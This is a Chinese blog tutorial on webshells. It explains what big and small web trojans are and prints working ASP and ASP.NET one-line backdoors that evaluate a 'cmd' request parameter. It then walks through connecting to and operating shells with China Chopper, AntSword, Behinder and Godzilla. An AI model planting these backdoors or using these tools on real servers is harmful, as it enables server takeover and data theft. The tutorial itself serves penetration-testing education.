本文已参与「新人创作礼」活动,一起开启掘金创作之路。
WebShell
解释
在计算机科学中,Shell 俗称壳(用来区别“核”),是指“为使用者提供操作界面”的软件(命令解释器)。类似于windows 系统给的cmd.exe 或者Linux 下bash/sh 等,虽然这些系统的命令解释器不止一种。
WebShell 是一个网站的后门,也是一个命令解释器,不过是以Web 方式(HTTP 协议)通信(传递命令消息),继承了Web 用户的权限。WebShell 本质上是服务器端可运行的脚本文件,后缀名为.php/.asp/.aspx/.jsp 等,也就是说WebShell 接受来自于Web 用的命令,然后在服务器端执行。
分类
大马
WebShell 也可以是大马,也就是网站木马。有一类WebShell 之所以叫大马,是因为与小马(一句话木马)区分开,并且代码量较大,但是功能丰富。同样,大马有很多脚本格式,其功能基本相同。渗透测试的每个团队都有自己的定制木马。
在大马中,我们可以进行文件管理,执行系统命令等,还有一些其他定制功能。
小马
小马就是一句话木马,因为其代码量比较小,就是一句简单的代码。以下是各个脚本的一句话
#ASP:
<%eval request("cmd")%>
#ASP.NET:
<%@ Page Language="Jscript"%>
<%eval(request.Item["cmd"],"unsafe");%>
#PHP:
JSP 和 jspx 的一句话木马比较复杂一些
一句话木马短小精悍,功能强大,但是需要配合中国菜刀或者中国蚁剑客户端使用,中国菜刀是一句话木马的管理器,也是命令操作接口。中国菜刀在连接一句话木马的时候需要填写密码(实际上就是变量名)。例如,我们上传一个php 的一句话木马,密码就是[cmd]。
GetShell
GetShell ,顾名思义就是获取web 的过程。当然任意文件上传是GetShell 的主要方式,但并不是唯一途径
借用文件上传在web服务器端上传成功木马,可以使用getshell连接工具连接
常用的getshell连接工具
中国菜刀
github项目地址: GitHub - raddyfiy/caidao-official-version: 中国菜刀官方版本,拒绝黑吃黑,来路清晰
初始界面
在web服务器根目录下创建testshell.php 一句话木马文件
连接(空白界面右键添加)
脚本类型可选择: php/asp/aspx
连接成功
文件管理
在中国菜刀页面继承Web 用户权限可以实现文件管理,包括文件查看、上传、下载、修改、删除甚至运行exe 程序等
虚拟终端
在中国菜刀下可以获得cmd 和 bash的命令行接口,可以执行相关命令。
数据库管理
我们可以使用中国菜刀进行数据库管理,此时需要知道连接数据库的账密。以MYSQL 为例
MYSQL //数据库类型
localhost //数据地址
root //数据库用户
root
//数据库密码utf-8 //数据库编码
还有一些功能笔者这里就不一一列举了,大家自行挖掘
一款比较老的工具的了,免杀过狗效果一般。
中国蚁剑
github项目地址
蚁剑加载器: GitHub - AntSwordProject/AntSword-Loader: AntSword 加载器
蚁剑使用手册: doc.u0u.us/zh-hans/get…
关于蚁剑的安装过程,可参考: 中国蚁剑安装教程_rab3it的博客-CSDN博客_中国蚁剑
初始界面
连接(右键添加数据)
文件管理
更多详细功能可以参考我前面给出的蚁剑使用手册
Behinder (冰蝎)
github项目地址: github.com/rebeyond/Be…
软件安装包: Releases · rebeyond/Behinder · GitHub
运行需要java环境(jdk)
工具中已经给出了一些小马,直接拿来用即可
初始界面
连接(右键新增)
连接成功
Godzilla (哥斯拉)
github项目地址: github.com/BeichenDrea…
软件安装包: Releases · BeichenDream/Godzilla · GitHub
运行需要java环境(jdk)
初始界面
在管理里面可以生成木马,
密码和密钥都需要设定
有效载荷:
JavaDynamicPayload -> jre5及以上
CShapDynamicPayload -> .net2.0及以上
PhpDynamicPayload -> php5.0及以上
payload以及加密器支持
哥斯拉内置了3种Payload以及6种加密器,6种支持脚本后缀,20个内置插件
-
JavaDynamicPayload
-
JAVA_AES_BASE64
- jsp
- jspx
-
JAVA_AES_RAW
- jsp
- jspx
-
-
CShapDynamicPayload
-
CSHAP_AES_BASE64
- aspx
- asmx
- ashx
-
JAVA_AES_RAW
- aspx
- asmx
- ashx
-
-
PhpDynamicPayload
-
PHP_XOR_BASE64
- php
-
PHP_XOR_RAW
- php
-
来自 < GitHub - BeichenDream/Godzilla at v1.10-godzilla >
这里我们做PHP的马,选择以下配置即可
值作成功之后将其放置到web服务器下,之后在初始界面选择目标--添加
连接成功